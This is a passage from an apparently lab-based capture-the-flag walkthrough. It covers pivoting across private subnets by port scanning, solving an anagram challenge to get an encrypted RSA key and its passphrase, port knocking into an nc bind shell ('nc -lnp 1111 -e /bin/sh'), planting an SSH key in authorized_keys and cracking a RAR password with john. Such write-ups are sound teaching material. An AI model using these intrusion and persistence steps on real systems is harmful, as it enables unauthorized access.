[2] 2642
[3] 2646
[4] 2650
...
[251] 3638
[252] 3642
[253] 3646
[254] 3650
[40] Done ping -c 1 192.168.3.$ip | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1
[50] Done ping -c 1 192.168.3.$ip | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1
[200] Done ping -c 1 192.168.3.$ip | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1
Looks like we've got a host that we've not checked out yet, on the IP 192.168.3.50
. I try to ssh
to the new target.
root@db:~# ssh root@192.168.3.50
The authenticity of host '192.168.3.50 (192.168.3.50)' can't be established.
ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.3.50' (ECDSA) to the list of known hosts.
root@192.168.3.50's password:
Terra
Following the above email, we can assume there's a user named terra
on this newly discovered VM (that's if our assumption that this is terra's
machine is correct).
root@db:~# ssh terra@192.168.3.50
terra@192.168.3.50's password:
Permission denied, please try again.
Damn, well there goes that assumption. I grab a tiny port scanner from this article, and expand the port range to 0-65535
.
#!/usr/bin/env python
from socket import *
if __name__ == '__main__':
target = raw_input('Enter host to scan: ')
targetIP = gethostbyname(target)
print 'Starting scan on host ', targetIP
#scan reserved ports
for i in range(0, 65535):
s = socket(AF_INET, SOCK_STREAM)
result = s.connect_ex((targetIP, i))
if(result == 0) :
print 'Port %d: OPEN' % (i,)
s.close()
I then run it against the new target.
root@db:~# python scan.py
Enter host to scan: 192.168.3.50
Starting scan on host 192.168.3.50
Port 22: OPEN
Port 4444: OPEN
What's this - port 4444
is open. Let's connect and see what we're dealing with.
root@db:~# nc 192.168.3.50 4444
Hello Celes & Welcome to the Jumble!
Solve:dveenhrsui
Solve:aoomchntiocrm
Solve:obner
Solve:iadiiefcr
Solve:soandetncecnn
Solve:dinhtsgia
Solve:iveeurdnsh
Solve:maylrnidpboe
Solve:ttacoiegmnrpb
Solve:snaaa
Solve:loftvqncaraeiuioi
Initially I thought these might be XOR'd against the string we found in the above QR code, but no luck. Thinking back, I recall that we found a wordlist on the target 192.168.2.200
.
Skimming through the list .words.txt
, I note that there is a match for one of the entries in the above list. snaaa
is an anagram of sanaa
. Similarly obner
is an anagram of borne
. Initially I solve these by hand, but then the developer in me started screaming.
I knocked together a quick python
script to solve this for me.
from socket import socket
def isAnagram(str1, str2):
str1_list = list(str1)
str1_list.sort()
str2_list = list(str2)
str2_list.sort()
return (str1_list == str2_list)
words = list(open('.words.txt', 'r'))
for index,word in enumerate(words):
words[index] = word.strip()
sock = socket()
sock.connect(('192.168.3.50', 4444))
data = True
while data:
data = sock.recv(4096)
if 'Solve:' in data:
question = data.split('Solve:')[1].strip()
answer = ''
for word in words:
if isAnagram(question, word):
answer = word
print "'%s' = '%s'"%(question, answer)
sock.send("%s\n"%answer)
else:
print data
Running this results in solutions being found for the questions, and subsequently we beat the challenge in quick time and receive what appears to be a base64
encoded string.
root@db:~# python anagram.py
'boohingbl' = 'hobgoblin'
'dnivtoenamie' = 'nonmediative'
'eabrrsab' = 'barrebas'
'liumnrastcio' = 'matriclinous'
'cyneena' = 'cayenne'
'syouscpegyrhr' = 'psychosurgery'
'nitenugnci' = 'unenticing'
'enduptdue' = 'undeputed'
'naaas' = 'sanaa'
'pgdoicosle' = 'logopedics'
'alsdiztuef' = 'sulfatized'
'iacnvh' = 'chavin'
'eamdr' = 'dream'
'srabeabr' = 'barrebas'
'ydru' = 'rudy'
'ocpogidlse' = 'logopedics'
'osishrepfw' = 'prowfishes'
'screunpeer' = 'precensure'
'oeisnmglrre' = 'mongreliser'
'hzuste' = 'zethus'
'nsccdntoaeenn' = 'noncandescent'
'sfierdine' = 'densifier'
'kigmiria' = 'kirigami'
'kieirldmh' = 'kriemhild'
'hgmyoronap' = 'graphonomy'
'ahnygoromp' = 'graphonomy'
't1gmk0i' = 'g0tmi1k'
'idnesefri' = 'densifier'
'kncdeer' = 'redneck'
'oerriltap' = 'pretorial'
'slftiuaezd' = 'sulfatized'
'pyalanlno' = 'pollyanna'
'uservpnneohimt' = 'overpunishment'
'nnvrpmiheesout' = 'overpunishment'
'agalebur' = 'arguable'
'nyacnee' = 'cayenne'
'enacyen' = 'cayenne'
'eowuhhnrg' = 'roughhewn'
'oerdinssss' = 'drossiness'
'afcsuyliielpr' = 'superficially'
'ihedsrveun' = 'unshivered'
'obeenslprgapas' = 'propagableness'
'prhygecyoussr' = 'psychosurgery'
'niiorioqtlcfeauva' = 'overqualification'
'endiomomtcir' = 'monodimetric'
'imcsiycn' = 'cynicism'
'herilimkd' = 'kriemhild'
'rbonlnvaedei' = 'nonderivable'
'rdeam' = 'dream'
'oirectrh' = 'torchier'
'oniercoitmdm' = 'monodimetric'
'ergshclase' = 'chargeless'
'pbrsgnaploeeas' = 'propagableness'
'iocsreiptimrp' = 'proempiricist'
'sfiwoshrep' = 'prowfishes'
'dnnidfnueeg' = 'undefending'
'esrcceudre' = 'recrudesce'
'nivrrgclaiel' = 'invercargill'
'cscimiyn' = 'cynicism'
'iidrefsne' = 'densifier'
Score: 120
Time: 0.05 secs
You're a winner
LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRFSy1JbmZvOiBBRVMtMTI4LUNCQyw3Njg0MTgyMkFCOUU3NzJGRDFENjUzRjYxNzlGMEU0RAoKT3JFTTJvY25oSEtnNW51SDdwczFDb09KQ2loYXNtRkpLTE9WTk5ZRk9oR0tVb2pQWUV0YTV5T2hJc2tmMGgwcgpTbyt4VkRLNjdHM0RsZ3ltVVYzRHhHZml6TGZadmh4UVJDOFF5MG1mNE4rbWlZa3ZmMk5hRnRhdHBOY2pLNXBNClV5NlFTRk1PQzhhS3BlMEZMNlVHRFJKUTVHU0c0RGxKckxVSkJNdm5TTHRZWkhsYVdBSUNLYlhmcFhWNFNUd3YKSjBEOGg5UnRsUkpoTENLNWVLZ3VwWUNRSWlHUVdnM1B2WnBYazlra2pYaG1PUXdVWW9DUmwzbDRqNXpsbkZjVApQNlU5VVBoUnEvQ2s0UXJrMmRHeEZmcHBRZDl4VytiNFBXamlTQ2lrTEYzUTBoZk5OdkVidTRvdW5BZ1l3UEZICmpPWEhKcXhWb2cvcFp6OVk4WGZTUDNoejlBWUhXZkkyaUM5Q25rN2JvUmNPdittY2dFZVdXa1lyVnNjT2l2WWoKOU4yeGlOcDRHSCtOSUc4bW0vTGRsN2pRTWwvVnJyNWN4M2ZYak9lem1nc1NrQVk0Q2NzcHdLc1NYSzhHTC9iTwpoVDZwS1dmTDZVSTh3VWdwSTdLaGdLK0FPS3VTL1hQWVRTZHorMFJKeE5GU0xPRk5jalJ0TCtOVzBValBxNUpoCkRpYStwdzVxQitsbGx4Z2FOMFdCUXNrSUZRcHBwUG93d2pHOEpnOGpKQmpTWWozcjRMSXJad0pTcGN2b0JpVUEKb0NxblFVTXRYbE1oOS9DdkJCR3MxK0pWY2prSW5CZGU5NDVWK2VqaFA2R1BZanU0VFFWN0I3MGQ3YUVXME9FbQowZDduck9XL0xDWXBzVi9ONXJxVnNHbFR2d2pKTm93eU1xRVo5RTA5Z3VNNWVMNENFUFBtcDlaRGV5MmZCQUd3CnE3blNyOHE2SHNmNGQrWVBSKzkwRWZNSlJlcUkzczFGUW9UdngrUGFGUGlLdzdkZkhGQ2dMc2NYY1hjb2duTHoKY0IwbG5lbUkrY0ZtZlk3NEYxZVlMM2Z3Skl3U1JnSzg1WGMyTXk4c3FKejFpemo2SWxPMmtRMWpMa3JoSk9aOApYK3AvOXc1ekEweDJmYmpwcEhhYytZb0pmeVB5WVhqa3BpZ0RQakhYaFJpdDJxblVySGZEYzBGamg1QUtOVTJLCk1VL3l3WEdFZzZ3MENwcEs5SkJvMHUveEpsaFQvak9XTmlNNFlaalhsaFF6a3h5ZWJ2YnlSUzZTbGhsbzE0MmwKZ011TVV2UG4xZkFlbmlyNkFGd3kycmxrdFE1L2E4ejJWQ3dQa05BNDBNSW1TSE1XUlNGYm9Eak01endyMjRHawpOMHBJMUJDbUNzZjBtc3ZFd0xoZGNWbmhKWTdCZzRpem01YlgrQXJWL3ltTE9reWJLOGNoejVmcnlYY2plVjFxCml6SmUyQVhaazEvOGhZODB0dkpXanhVRWZuZ3V5b296UWY1VDc0bW41YWV6OUpnR1dNcXpwZkt3WjZMeDVjVGcKWnUrbStyeWFrQlBGalV0dDA0bENZQ0NLV1F6UGhnSXI1eFVGeDYyaENHaGg2Vzh0U0lCNms3SHB1bjEyM0dRMAp1VCtSMEVyWUE1R2R5eDQ0RlpFYXRaM3JYQ3BWbUpsbENUV1VxQnVhSFlBdGNaVGhUVFpmeFJGSHkwMklUNkZXClBMQ1ovWE4yRStUZHRrWG1GY1RYUnNndHlBLzVWWHNUV1dtUmNIY3p2NWc1WWNRM3BIczNNaFN4c1dTZFR6LzgKUll6bXhPbkNqWldYYVVlMFhiN0ZqQS9ldm1wWHN5aENoR2J2cDBLMGhaRmNNZXN6RkthOEs0cEFlZGN5RzMxbgo0K0hoSW1uRXBMWlFPWGhmWGxrS01RWHJCeXM3aGtvbmtEcDU3VnFoK0lJWkxHelZtZlRWRWoyV2hjLzBZK0dJCkRNcGgwWnZURytKZ3YxTE8zU2w4MlJ6bTFqVWt6RUlaTkl4WWVTR3JaZjZDaFZMUGE4NWF4cXc1RVZOQ3hZVWcKSkFxZyt1ZDZ4SU85b2JpZHh6STJyTGZieGNwTXVyODBuYjRjcllNTm0wOXlQUWFza25nSy80SWptblBMZVRpaAotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
Decoding this results in an rsa
private key.
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,76841822AB9E772FD1D653F6179F0E4D
OrEM2ocnhHKg5nuH7ps1CoOJCihasmFJKLOVNNYFOhGKUojPYEta5yOhIskf0h0r
So+xVDK67G3DlgymUV3DxGfizLfZvhxQRC8Qy0mf4N+miYkvf2NaFtatpNcjK5pM
Uy6QSFMOC8aKpe0FL6UGDRJQ5GSG4DlJrLUJBMvnSLtYZHlaWAICKbXfpXV4STwv
J0D8h9RtlRJhLCK5eKgupYCQIiGQWg3PvZpXk9kkjXhmOQwUYoCRl3l4j5zlnFcT
P6U9UPhRq/Ck4Qrk2dGxFfppQd9xW+b4PWjiSCikLF3Q0hfNNvEbu4ounAgYwPFH
jOXHJqxVog/pZz9Y8XfSP3hz9AYHWfI2iC9Cnk7boRcOv+mcgEeWWkYrVscOivYj
9N2xiNp4GH+NIG8mm/Ldl7jQMl/Vrr5cx3fXjOezmgsSkAY4CcspwKsSXK8GL/bO
hT6pKWfL6UI8wUgpI7KhgK+AOKuS/XPYTSdz+0RJxNFSLOFNcjRtL+NW0UjPq5Jh
Dia+pw5qB+lllxgaN0WBQskIFQpppPowwjG8Jg8jJBjSYj3r4LIrZwJSpcvoBiUA
oCqnQUMtXlMh9/CvBBGs1+JVcjkInBde945V+ejhP6GPYju4TQV7B70d7aEW0OEm
0d7nrOW/LCYpsV/N5rqVsGlTvwjJNowyMqEZ9E09guM5eL4CEPPmp9ZDey2fBAGw
q7nSr8q6Hsf4d+YPR+90EfMJReqI3s1FQoTvx+PaFPiKw7dfHFCgLscXcXcognLz
cB0lnemI+cFmfY74F1eYL3fwJIwSRgK85Xc2My8sqJz1izj6IlO2kQ1jLkrhJOZ8
X+p/9w5zA0x2fbjppHac+YoJfyPyYXjkpigDPjHXhRit2qnUrHfDc0Fjh5AKNU2K
MU/ywXGEg6w0CppK9JBo0u/xJlhT/jOWNiM4YZjXlhQzkxyebvbyRS6Slhlo142l
gMuMUvPn1fAenir6AFwy2rlktQ5/a8z2VCwPkNA40MImSHMWRSFboDjM5zwr24Gk
N0pI1BCmCsf0msvEwLhdcVnhJY7Bg4izm5bX+ArV/ymLOkybK8chz5fryXcjeV1q
izJe2AXZk1/8hY80tvJWjxUEfnguyoozQf5T74mn5aez9JgGWMqzpfKwZ6Lx5cTg
Zu+m+ryakBPFjUtt04lCYCCKWQzPhgIr5xUFx62hCGhh6W8tSIB6k7Hpun123GQ0
uT+R0ErYA5Gdyx44FZEatZ3rXCpVmJllCTWUqBuaHYAtcZThTTZfxRFHy02IT6FW
PLCZ/XN2E+TdtkXmFcTXRsgtyA/5VXsTWWmRcHczv5g5YcQ3pHs3MhSxsWSdTz/8
RYzmxOnCjZWXaUe0Xb7FjA/evmpXsyhChGbvp0K0hZFcMeszFKa8K4pAedcyG31n
4+HhImnEpLZQOXhfXlkKMQXrBys7hkonkDp57Vqh+IIZLGzVmfTVEj2Whc/0Y+GI
DMph0ZvTG+Jgv1LO3Sl82Rzm1jUkzEIZNIxYeSGrZf6ChVLPa85axqw5EVNCxYUg
JAqg+ud6xIO9obidxzI2rLfbxcpMur80nb4crYMNm09yPQaskngK/4IjmnPLeTih
-----END RSA PRIVATE KEY-----
I place the key into a file and chmod
it to 600
. I then try to use it to ssh
as terra
to 192.168.3.50
. We're prompted for a passphrase for the key as it's encrypted, so I use the string we found earlier - Nk9yY31hva8q
.
root@db:~# ssh -i .ssh/id_rsa_terra terra@192.168.3.50
The authenticity of host '192.168.3.50 (192.168.3.50)' can't be established.
ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.3.50' (ECDSA) to the list of known hosts.
Enter passphrase for key '.ssh/id_rsa_terra':
Linux dev2 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Thu Sep 4 09:18:19 2014
terra@dev2:~$
Great success! Let's see what terra
is hiding.
terra@dev2:~$ ls -lah
total 36K
drwxr-xr-x 3 terra terra 4.0K Sep 3 2014 .
drwxr-xr-x 3 root root 4.0K Aug 10 2014 ..
-rw------- 1 terra terra 39 Sep 23 09:38 .bash_history
-rw-r--r-- 1 terra terra 220 Dec 30 2012 .bash_logout
-rw-r--r-- 1 terra terra 3.4K Dec 30 2012 .bashrc
-rwxr-xr-x 1 terra terra 4.9K Sep 3 2014 jumble.py
-rw-r--r-- 1 terra terra 675 Dec 30 2012 .profile
drwx------ 2 terra terra 4.0K Aug 13 2014 .ssh
-rw------- 1 terra terra 0 Sep 27 2014 .viminfo
Looks like we've got the source for the challenge we just solved.
terra@dev2:~$ cat jumble.py
#!/usr/bin/env python
import random, time, socket, thread
words = ("borne","precombatting","noncandescent","cushat","lushness","precensure","romishness","nonderivable","overqualification","superkojiman","bacteriophage","proempiricist","monodimetric","aeromantic","mongreliser","nonmediative","teh3ck","underset","sereneness","chavin","enduringly","logopedics","thecolonial","gandhiist","redneck","recrudesce","subjack","drossiness","antimaterialistic","cynicism","kriemhild","chargeless","cumuliform","marica","barrebas","zouave","bibliophilism","pretorial","dream","retrad","unshivered","undefending","torchier","pereion","hobgoblin","thenar","acidifier","cotangent","rudy","dunny","logographic","drainboard","matriclinous","ricochetted","totemically","pemphigous","kirigami","imponderably","spanemic","drifter","sulfatized","psychosurgery","superficially","undidactic","brundidge","monochromatic","diastasis","libelee","lappeenranta","nonfacility","prowfishes","densifier","thucydides","profitability","sanaa","zethus","creature","brahminist","victoriousness","overpunishment","arguable","invercargill","chapiter","undeputed","unversatility","decidual","cayenne","devoted","forehandedly","semisecret","graphonomy","lauric","radiative","pyrophyllite","unenticing","roughhewn","g0tmi1k","propagableness","pollyanna","prearrest")
def handler(cSock, addr):
cSock.send("Hello Celes & Welcome to the Jumble!\n\n")
count = 0
score = 0
start = time.time()
while (count < 60):
word = random.choice(words)
correct = word
jumble = ""
while word:
position = random.randrange(len(word))
jumble += word[position]
word = word[:position] + word[(position + 1):]
cSock.send("Solve:" + jumble + " ")
guess = cSock.recv(1024)
if correct in guess:
score += 2
count += 1
else:
count += 1
current = (time.time() - start)
if score >= 120 and current <= 30:
cSock.send("\nScore: " + str(score) + "\n")
cSock.send("Time: %.2f " % current + "secs\n")
cSock.send("You're a winner\n")
cSock.send("LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRFSy1JbmZvOiBBRVMtMTI4LUNCQyw3Njg0MTgyMkFCOUU3NzJGRDFENjUzRjYxNzlGMEU0RAoKT3JFTTJvY25oSEtnNW51SDdwczFDb09KQ2loYXNtRkpLTE9WTk5ZRk9oR0tVb2pQWUV0YTV5T2hJc2tmMGgwcgpTbyt4VkRLNjdHM0RsZ3ltVVYzRHhHZml6TGZadmh4UVJDOFF5MG1mNE4rbWlZa3ZmMk5hRnRhdHBOY2pLNXBNClV5NlFTRk1PQzhhS3BlMEZMNlVHRFJKUTVHU0c0RGxKckxVSkJNdm5TTHRZWkhsYVdBSUNLYlhmcFhWNFNUd3YKSjBEOGg5UnRsUkpoTENLNWVLZ3VwWUNRSWlHUVdnM1B2WnBYazlra2pYaG1PUXdVWW9DUmwzbDRqNXpsbkZjVApQNlU5VVBoUnEvQ2s0UXJrMmRHeEZmcHBRZDl4VytiNFBXamlTQ2lrTEYzUTBoZk5OdkVidTRvdW5BZ1l3UEZICmpPWEhKcXhWb2cvcFp6OVk4WGZTUDNoejlBWUhXZkkyaUM5Q25rN2JvUmNPdittY2dFZVdXa1lyVnNjT2l2WWoKOU4yeGlOcDRHSCtOSUc4bW0vTGRsN2pRTWwvVnJyNWN4M2ZYak9lem1nc1NrQVk0Q2NzcHdLc1NYSzhHTC9iTwpoVDZwS1dmTDZVSTh3VWdwSTdLaGdLK0FPS3VTL1hQWVRTZHorMFJKeE5GU0xPRk5jalJ0TCtOVzBValBxNUpoCkRpYStwdzVxQitsbGx4Z2FOMFdCUXNrSUZRcHBwUG93d2pHOEpnOGpKQmpTWWozcjRMSXJad0pTcGN2b0JpVUEKb0NxblFVTXRYbE1oOS9DdkJCR3MxK0pWY2prSW5CZGU5NDVWK2VqaFA2R1BZanU0VFFWN0I3MGQ3YUVXME9FbQowZDduck9XL0xDWXBzVi9ONXJxVnNHbFR2d2pKTm93eU1xRVo5RTA5Z3VNNWVMNENFUFBtcDlaRGV5MmZCQUd3CnE3blNyOHE2SHNmNGQrWVBSKzkwRWZNSlJlcUkzczFGUW9UdngrUGFGUGlLdzdkZkhGQ2dMc2NYY1hjb2duTHoKY0IwbG5lbUkrY0ZtZlk3NEYxZVlMM2Z3Skl3U1JnSzg1WGMyTXk4c3FKejFpemo2SWxPMmtRMWpMa3JoSk9aOApYK3AvOXc1ekEweDJmYmpwcEhhYytZb0pmeVB5WVhqa3BpZ0RQakhYaFJpdDJxblVySGZEYzBGamg1QUtOVTJLCk1VL3l3WEdFZzZ3MENwcEs5SkJvMHUveEpsaFQvak9XTmlNNFlaalhsaFF6a3h5ZWJ2YnlSUzZTbGhsbzE0MmwKZ011TVV2UG4xZkFlbmlyNkFGd3kycmxrdFE1L2E4ejJWQ3dQa05BNDBNSW1TSE1XUlNGYm9Eak01endyMjRHawpOMHBJMUJDbUNzZjBtc3ZFd0xoZGNWbmhKWTdCZzRpem01YlgrQXJWL3ltTE9reWJLOGNoejVmcnlYY2plVjFxCml6SmUyQVhaazEvOGhZODB0dkpXanhVRWZuZ3V5b296UWY1VDc0bW41YWV6OUpnR1dNcXpwZkt3WjZMeDVjVGcKWnUrbStyeWFrQlBGalV0dDA0bENZQ0NLV1F6UGhnSXI1eFVGeDYyaENHaGg2Vzh0U0lCNms3SHB1bjEyM0dRMAp1VCtSMEVyWUE1R2R5eDQ0RlpFYXRaM3JYQ3BWbUpsbENUV1VxQnVhSFlBdGNaVGhUVFpmeFJGSHkwMklUNkZXClBMQ1ovWE4yRStUZHRrWG1GY1RYUnNndHlBLzVWWHNUV1dtUmNIY3p2NWc1WWNRM3BIczNNaFN4c1dTZFR6LzgKUll6bXhPbkNqWldYYVVlMFhiN0ZqQS9ldm1wWHN5aENoR2J2cDBLMGhaRmNNZXN6RkthOEs0cEFlZGN5RzMxbgo0K0hoSW1uRXBMWlFPWGhmWGxrS01RWHJCeXM3aGtvbmtEcDU3VnFoK0lJWkxHelZtZlRWRWoyV2hjLzBZK0dJCkRNcGgwWnZURytKZ3YxTE8zU2w4MlJ6bTFqVWt6RUlaTkl4WWVTR3JaZjZDaFZMUGE4NWF4cXc1RVZOQ3hZVWcKSkFxZyt1ZDZ4SU85b2JpZHh6STJyTGZieGNwTXVyODBuYjRjcllNTm0wOXlQUWFza25nSy80SWptblBMZVRpaAotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=")
elif score >= 120 and current >= 30:
cSock.send("\nScore: " + str(score) + "\n")
cSock.send("Time: %.2f " % current + "secs\n")
cSock.send("Enough points, but too slow\n")
else:
cSock.send("\nScore: " + str(score) + "\n")
cSock.send("Time: %.2f " % current + "secs\n")
cSock.send("Just a bit embarrasing really...\n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
s.bind(("0.0.0.0", 4444))
s.listen(10)
cSock, addr = s.accept()
handler(cSock, addr)
When we logged in, we received a notification that we have mail. Let's check out what that mail is.
terra@dev2:~$ cat /var/spool/mail/terra
Return-path: <locke@192.168.4.100>
Received: from locke by 192.168.4.100 with local (Exim 4.80)
~ (envelope-from <locke@adm>)
~ id 1XHczw-0000V2-8y
~ for terra@192.168.3.50; Wed, 13 Aug 2014 19:10:08 +0100
Date: Wed, 13 Aug 2014 19:10:08 +0100
To: terra@192.168.3.50
Subject: Port Knock
User-Agent: Heirloom mailx 12.5 6/20/10
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <E1XHczw-0000V2-8y@adm>
From: locke@192.168.4.100
~
Hi Terra,
I've been playing with a port knocking daemon on my PC - see if you can use that to get a shell.
Let me know how it goes.
Regards,
Locke
Oh, lovely. Another subnet - 192.168.4.0/24
, and another target - 192.168.4.100
, named locke
. He's stated that he's setup port knocking on his PC. This should be fun.
Locke
I re-use our earlier python
port scanner script to check out the open services on locke
.
terra@dev2:~$ python scan.py
Enter host to scan: 192.168.4.100
Starting scan on host 192.168.4.100
Port 22: OPEN
Oh dear.. I check for anything of interest in the banner, and an obligatory check to see if we can login.
terra@dev2:~$ ssh 192.168.4.100
The authenticity of host '192.168.4.100 (192.168.4.100)' can't be established.
ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.4.100' (ECDSA) to the list of known hosts.
terra@192.168.4.100's password:
terra@dev2:~$ ssh locke@192.168.4.100
locke@192.168.4.100's password:
Didn't think so. Let's send the default knockd
open sequence, and see if locke
has left it in a default state. The default sequence is 7000
, 8000
, 9000
for open, and 9000
, 8000
, 7000
for close. As we don't have nmap
, I turn to nc
for our knocking client.
terra@dev2:~$ nc -z 192.168.4.100 7000 8000 9000;
terra@dev2:~$ python scan.py
Enter host to scan: 192.168.4.100
Starting scan on host 192.168.4.100
Port 22: OPEN
Port 1111: OPEN
Beautiful - new port has opened. Let's see what secrets this may hold.
terra@dev2:~$ nc 192.168.4.100 1111
id
uid=1000(locke) gid=1000(locke) groups=1000(locke)
Uh.. ok, I'll take it!
/sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 62:5a:fa:13:0f:2f
inet addr:192.168.4.100 Bcast:192.168.4.255 Mask:255.255.255.0
inet6 addr: fe80::605a:faff:fe13:f2f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:131436 errors:0 dropped:0 overruns:0 frame:0
TX packets:131534 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9730293 (9.2 MiB) TX bytes:7192351 (6.8 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
/usr/sbin/arp
Address HWtype HWaddress Flags Mask Iface
192.168.4.50 ether 9e:07:c8:cf:ae:3a C eth0
There is one entry in the arp
cache, but that is the IP address for terra
on the 192.168.4.0/24
subnet. Let's see what else locke
has. First things first - let's add terra's
public key to the authorized_keys
file, so we can get a real shell.
cd /home/locke
ls -lah
total 352K
drwxrwx--- 2 locke locke 4.0K Sep 4 2014 .
drwxr-xr-x 4 root root 4.0K Aug 13 2014 ..
-rw------- 1 locke locke 0 Sep 4 2014 .bash_history
-rw-r--r-- 1 locke locke 220 Dec 30 2012 .bash_logout
-rw-r--r-- 1 locke locke 3.4K Dec 30 2012 .bashrc
-rw-r--r-- 1 locke locke 675 Dec 30 2012 .profile
-rw------- 1 locke locke 0 Sep 27 2014 .viminfo
-rw-r--r-- 1 locke locke 322K Aug 10 2014 diskimage.tar.gz
-rwxr--r-- 1 locke locke 42 Aug 13 2014 littleShell.sh
-rw-r--r-- 1 locke locke 110 Sep 4 2014 note.txt
mkdir .ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ6RfCFyxxJLNPe/Dn94vaHUFvnm8Qg44CRCkhBD+V2fJPpi3DR0Bo3vUmJ2N+iPO91plE2tFjnCR0dSva33dMnHy8oNn6fm6nicIqV7enazPaEo8OE/su/GRVMzsijeqgBhd5+CBM5a9+grxfylcTfEB0jIXi4JeYON6DpQqgKvleJY/XZhAQ4Mt362n1EfhH+sJp6dyw2y1rjmxjU1e1a4mN7gdWQ9Xx6LThx7xI/k/BWFWx+nYfGvyDggqftlPC2aQPVK6+ZmjIMc0CxOioW3ZGJUT3ItCP3gZxqDHs+pSKN4dv7hP7q24Nm2OBy3hF1hl6OdQ5jH6IeJKOXrEJ terra@dev2' > .ssh/authorized_keys
Now we should be able to ssh
to locke
.
terra@dev2:~$ ssh -i .ssh/id_rsa locke@192.168.4.100
Enter passphrase for key '.ssh/id_rsa':
Linux adm 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Sep 4 10:05:08 2014
What is there to find here?
locke@adm:~$ ls -lah
total 356K
drwxrwx--- 3 locke locke 4.0K Sep 23 09:55 .
drwxr-xr-x 4 root root 4.0K Aug 13 2014 ..
-rw------- 1 locke locke 0 Sep 4 2014 .bash_history
-rw-r--r-- 1 locke locke 220 Dec 30 2012 .bash_logout
-rw-r--r-- 1 locke locke 3.4K Dec 30 2012 .bashrc
-rw-r--r-- 1 locke locke 322K Aug 10 2014 diskimage.tar.gz
-rwxr--r-- 1 locke locke 42 Aug 13 2014 littleShell.sh
-rw-r--r-- 1 locke locke 110 Sep 4 2014 note.txt
-rw-r--r-- 1 locke locke 675 Dec 30 2012 .profile
drwxr----- 2 locke locke 4.0K Sep 23 09:56 .ssh
-rw------- 1 locke locke 0 Sep 27 2014 .viminfo
There is what appears to be a disk image, and a note.txt
file. Let's check out the littleShell.sh
script first, just out of curiosity.
locke@adm:~$ cat littleShell.sh
#!/bin/sh
/bin/nc -lnp 1111 -e '/bin/sh'
Fair enough. What about note.txt
?
locke@adm:~$ cat note.txt
Looks like Kefka may have been abusing our removable media policy. I've extracted this image to have a look.
I pull the diskimage.tar.gz
file back through terra
, through db
and finally down to my testing machine.
Forensics
Time to check out this disk image.
root@kali:~# tar zxvf diskimage.tar.gz
diskimage
root@kali:~# file diskimage
diskimage: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "MSDOS5.0", sectors/cluster 2, reserved sectors 4, root entries 512, Media descriptor 0xf8, sectors/FAT 238, sectors/track 63, heads 255, hidden sectors 63, sectors 122031 (volumes > 32 MB) , reserved 0x1, serial number 0xad6f8bf, unlabeled, FAT (16 bit)
Ok, so we've got a FAT16
partition. Let's mount the partition and see what it contains.
root@kali:~# mkdir diskimage-mount
root@kali:~# mount diskimage diskimage-mount
root@kali:~# ls -alh diskimage-mount
total 21K
drwxr-xr-x 2 root root 16K Dec 31 1969 .
drwxr-xr-x 49 root root 4.0K Sep 23 05:07 ..
-rwxr-xr-x 1 root root 118 Aug 3 2014 Secret.rar
I try to extract, but am pretty certain I know what's going to happen..
root@kali:~/diskimage-mount# unrar x Secret.rar
UNRAR 5.30 beta 2 freeware Copyright (c) 1993-2015 Alexander Roshal
Extracting from Secret.rar
Enter password (will not be echoed) for MyPassword.txt:
Yep - damn it. We need to crack this rar
.
Hopping back on to locke
, I check to see where this new user exists - and luckily they exist on the same adm
machine.
locke@adm:~$ ls -alh /home
total 16K
drwxr-xr-x 4 root root 4.0K Aug 13 2014 .
drwxr-xr-x 22 root root 4.0K Aug 9 2014 ..
drwxrwx--- 2 kefka kefka 4.0K Sep 27 2014 kefka
drwxrwx--- 3 locke locke 4.0K Sep 23 09:59 locke
Let's get to work cracking this rar
then.
root@kali:~/diskimage-mount# rar2john Secret.rar > Secret.hash
file name: MyPassword.txt
root@kali:~/diskimage-mount# john Secret.hash
Using default input encoding: UTF-8
Rules/masks using ISO-8859-1
